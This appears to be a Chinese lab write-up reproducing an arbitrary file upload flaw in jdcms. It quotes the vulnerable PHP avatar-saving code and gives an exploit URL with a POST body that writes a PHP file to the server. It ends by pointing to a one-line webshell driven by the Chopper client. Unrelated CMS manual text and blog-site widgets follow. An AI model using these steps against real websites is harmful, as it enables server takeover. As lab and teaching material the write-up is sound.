复现jdcms的漏洞

前期

由于玩的是靶场,所以工具都在靶场里,工具如下:

菜刀、火绒、火绒插件hackbar

复现漏洞

任意文件上传
打开网站
在这里插入图片描述
查看/App/Lib/Action/Home/UcAction.class.php,发现任意上传漏洞本步骤分析UcAction.class.php中的public function saveAvatar()函数查看代码漏洞任意文件上传漏洞是因为源代码的不严谨造成的,因此要发现任意文件上传漏洞,需要查看文件源代码,查看UcAction.class.php中的public function saveAvatar()函数中内容,看到

  <?  
  public function saveAvatar() {
  session_start ();
  define ( 'SD_ROOT', dirname ( __FILE__ ) . '/' );
  @header ( "Expires: 0" );
  @header ( "Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE );
  @header ( "Pragma: no-cache" );
  // 这里传过来会有两种类型,一先一后, big和small, 保存成功后返回一个json字串,客户端会再次post下一个.
  $type = isset ( $_GET ['type'] ) ? trim ( $_GET ['type'] ) : 'tupian';
  $orgin_pic_path = $_GET ['photoServer']; // 原始图片地址,备用.
                                           // $from = $_GET['from'];
                                           // //原始图片地址,备用.
  $_path = explode ( '/', $orgin_pic_path );
  $num = count ( $_path );
  $path = '/';
  foreach ( $_path as $k => $v ) {
   if (($k + 1) == $num) {
    $filename = $v;
   } else {
    $path .= $v . '/';
   }
  }
  if ($type == 'big') {
   $pic_path = '../../../../Uploads/avatar_big/' . $filename;
  } elseif ($type == 'small') {
   $pic_path = '../../../../Uploads/avatar_small/' . $filename;
  } else {
   $msg = json_encode ( 'error img!' );
   echo $msg;
   exit ();
  }
  $new_avatar_path = $pic_path;
  $len = file_put_contents ( SD_ROOT . $new_avatar_path, file_get_contents ( "php://input");
  $avtar_img = imagecreatefromjpeg ( SD_ROOT . $new_avatar_path );
  imagejpeg ( $avtar_img, SD_ROOT . $new_avatar_path, 80 );
  // 输出新保存的图片位置, 测试时注意改一下域名路径, 后面的statusText是成功提示信息.
  // status 为1 是成功上传,否则为失败.
  $d = new pic_data ();
  // $d->data->urls[0] = 'http://sns.com/avatar_test/'.$new_avatar_path;
  $d->data->urls [0] = $new_avatar_path;
  $d->status = 1;
  $d->statusText = '上传成功!';
  $msg = json_encode ( $d );
  echo $msg;
  $user_mod = M ( "User" );
  $user_mod->where ( "is_del=0 and id=" . $_COOKIE ['id'] )->setField ( 'img', $filename );
  @unlink ( SD_ROOT . "../../../../Uploads/avatar_original/" . $_SESSION ['user_img'];
  @unlink ( SD_ROOT . "../../../../Uploads/avatar_big/" . $_SESSION ['user_img'];
  @unlink ( SD_ROOT . "../../../../Uploads/avatar_small/" . $_SESSION ['user_img'];
 }
 ?>
这是很正常的一段PHP代码,在代码中可以看到通过GET方式提交了两个变量'type''photoServer'
$type = isset ( $_GET ['type'] ) ? trim ( $_GET ['type'] ) : 'tupian';
$orgin_pic_path = $_GET ['photoServer'];
当type=big或者small的时候将文件上传的地址设置为../../../../Uploads/avatar_big/' . $filename或者../../../../Uploads/avatar_small/,这个时候并没有对文件的名字进行任何过滤且$_GET ['type']变量可以控制type的值,文件的名字可由$_GET ['photoServer']变量控制,这个参数可以由用户控制,因此用户可以上传任意名字的文件到服务器中。
if ($type == 'big') {
   $pic_path = '../../../../Uploads/avatar_big/' . $filename;
} 
else
if ($type == 'small') {
   $pic_path = '../../../../Uploads/
}

虽然此时用户可以上传任意名称的文件到服务器中,但是文件的内容却不能控制,继续往下看代码,可以看到

$len = file_put_contents ( SD_ROOT . $new_avatar_path, file_get_contents ( "php://input");

php://input,可以直接接收post方式提交的值,file_get_contents()函数则将post的值读为字符串file_put_contents()将字符串写入文件中,通过观察可以发现写入的文件正好是上传的文件,因此我们可以朝上传的任意名字文件中写入任意的值,因此形成了任意文件上传的漏洞。

名词解释

GET:通过GET方法传递给脚本的变量数组

GET['type']: $_GET[type] 是获取你通过get方法提交过来的值

php://input: 是个可以访问请求的原始数据的只读流。

file_get_contents():把整个文件读入一个字符串中。

file_put_contents():把一个字符串写入文件中。

phpinfo():phpinfo是一个运行指令,为显示php服务器的配置信息。

本步通过type和photoServer变量,上传php文件,再通过post方式提交phpinfo()函数写入php文件。

先访问192.168.0.2/jdcms/index.php?a=saveAvatar&m=Uc&g=Home&type=big&photoServer=hack.php,然后打开hackbar选择post,在文本框中写入<?php phpinfo();?>。点击执行。

在这里插入图片描述
查看hack.php
在这里插入图片描述
然后写个一句话木马,连接菜刀

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第1章 JAVAPMS概述 1.1. 系统简介 JAVAPMS是JAVA门户管理系统(JAVA Portal Management System)的简称,以Sping+Hibernate+Freemarker+Html5+jQuery为技术核心架构,集系统管理、文档管理、审核工作流、基于模板的文档发布、页面静态化、内容检索、多媒体文档管理于一身,面向广大站长、软件开发者、程序爱好者、网页设计师,适用于个人站长、商业企业、政府机构、教育机构和其它各种单位组织的信息门户网站建设,是一款技术先进、安全稳定、操作友好、注重用户体验的JAVA门户管理系统,倾力打造JAVA、JSP门户管理系统品牌。 1.2. 安全高效的Java语言开发 Java是一种被广泛使用的网络编程语言,主要应用于企业、政府部门、电信、银行、手机平台开发等多个领域,是现在大型软件项目开发中的主角,长期占据《TIOBE世界编程语言排行榜》第一的宝座。随着Internet的发展,Java语言以其强大的生命力得到了越来越广泛的应用。Java语言之所以受人推崇,是因为它确实称得上是一种新一代编程语言,具有面向对象、可移植性好、与硬件无关、系统强健安全、提供了并发机制、性能高的众多优点,并提供了分布性、多线程、动态性的支持。 Java作为一种重要的开发工具,它具有七个主要特性:安全性、核心API、开放式标准、分布式和动态结构、面向对象、多线程、内存管理。 TIOBE发布的编程语言排行榜 1.3. 完善合理的技术架构 系统选用了经过java社区长时间使用,被证明稳定、可靠、安全、高性能的开源框架,包括Spring、Hibernate、Freemarker、jQuery、Shiro等框架。使用这些框架可以使软件开发更加高效、易于维护,而且具有更好的性能、更高的安全性。 1.4. 全面稳定的平台兼容性 在操作系统平台兼容性方面,系统可以在Linux、UNIX、Windows等系统上运行。客户可以根据自身情况选择自己熟悉的或正在使用的操作系统,减小维护成本。 在数据库平台兼容性方面,系统数据库持久层采用hibernate实现,使得系统可以支持几乎所有的数据库平台,包括Oracle、DB2、Microsoft SQL Server、MySQL、PostgreSQL等。这对于已经购买或熟悉某一类型数据库产品的用户非常有利,用户不必购买或维护多套不同的数据库,大幅度减低成本。 在应用服务器平台兼容性方面,系统支持跨应用服务器,如Tomcat、Weblogic、Webspere、JBoss等应用服务器,很好的满足了各层次用户的需求。 在浏览器兼容性方面,目前多种浏览器并存,使用非IE浏览器的用户越来越多,即使是IE浏览器也有多种版本。系统所有web页面制作遵循w3c标准制作,采用最新的html5规范,基于div+css布局,所有标签生成的html代码都经过跨浏览器测试。javascript脚本基于jquery和javascript标准编写,有效的解决了js跨浏览器的问题,系统可以在IE6、IE7、IE8、IE9、FireFox、Chrome、Opera、Safari浏览器下平稳运行。 1.5. 强大的中文采集与检索技术 系统支持强大的中文检索组件,可以对内容进行高效的全文检索,支持所有流行文档格式的检索,能够自动提取文本正文、生成内容摘要,能够自定义检索结果展现形式,以满足不同行业的特殊要求,构建细分领域内的垂直搜索引擎。 第2章 系统功能介绍 2.1. 系统登录 管理员对网站进行日常维护前须先进入管理后台登录页面,在输入帐号和密码后即可进入后台管理中心,如果登录信息输入错误超过三次,系统将要求输入验证码,防止恶意登录行为,加强系统安全性,登录界面如下图: 2.2. 我的工作台 2.2.1. 个人资料 在我的工作台中,管理员可以点击左侧的“个人资料”修改和完善自己的帐户信息,如真实姓名、电子邮箱、联系电话等,如下图所示: 2.2.2. 修改密码 点击我的工作台左侧的“修改密码”,可以对管理员登录密码进行修改,系统要求输入原密码,然后输入两次新密码,界面如下: 2.3. 文档中心 文档中心主要管理全站信息的发布,是系统的一个核心功能,可以对全站文档进行管理,栏目管理,模型管理,文档属性管理。 2.3.1. 文档管理 点击“文档中心”左侧功能菜单的“文档管理”,文档按所属栏目树形组织管理,点击相应的栏目将会在右边显示改栏目下的文章列表,配合多样化的文章搜索功能,可根据文档标题、文档状态(草稿、审核与否、回收站等)、文章属性(普通、图文、焦点、头条等)、进行文档搜索,文档列表界面如下所示: 添加或修改文章时,可设置文档所属栏目、标题、外部链接、副标题、标题颜色、短标题、自动T

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值